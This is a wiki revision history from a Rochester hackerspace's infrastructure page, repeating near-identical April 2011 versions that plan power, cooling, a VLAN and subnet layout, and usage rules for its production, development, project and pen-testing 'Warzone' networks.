The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Development [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Project 
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Development==
* Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==Project==
* No expectation of reliability
* Open access to equipment / no change management
* No probing / pen testing (unless you have permission)
* Can be used to setup non-critical projects that do not require the stability of the production network
* Dynamic

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:26:01Z

Ben Woodruff: /* Interlock Rochester Infrastructure */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || [[User:JustBill|JustBill]]
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:JustBill|JustBill]], [[User:Antitree|Mark Manning]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Development [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Project 
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Development==
* Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==Project==
* No expectation of reliability
* Open access to equipment / no change management
* No probing / pen testing (unless you have permission)
* Can be used to setup non-critical projects that do not require the stability of the production network
* Dynamic

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:21:52Z

Ben Woodruff:

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Development [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Project 
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Development==
* Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==Project==
* No expectation of reliability
* Open access to equipment / no change management
* No probing / pen testing (unless you have permission)
* Can be used to setup non-critical projects that do not require the stability of the production network
* Dynamic

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:18:09Z

Ben Woodruff: /* Project */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Development [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Project 
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Development==
* Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:17:37Z

Ben Woodruff: /* Network */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

<s>See [[Phase 0 Networking]]</s>

See [[networking wish list]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

The network is broken down into 4 smaller networks:
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Development [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Project 
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment management (routers, [[Network Switch Configuration|switches]], etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, SSH, file, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations / ... wired hosts?
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered member laptops (currently members do not have to register their laptops)
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event participants, class registrants, etc - has captive portal enforced by the Meraki WAP
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration & remote access
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Development''' || '''Network specific for testing services and projects. Should be sliced further to /24 subnets as needed'''
|-
| OPT500 || 500 || '''10.50.0.0/24''' || '''Project''' || '''(In Progress) - Network for whatever. Stuff that we don't want on project/development but also isn't suited for the warzone.'''
|-
| OPT1000 || 1000 || '''10.100.42.0/23''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details. Development, Project, and Warzone may have undocumented subnets / VLANs beneath them.

Last updated: --[[User:Ben Woodruff|-- BW]] 13:10, 11 April 2011 (PDT)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2011-04-11T20:10:44Z

Ben Woodruff: /* Subnets */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
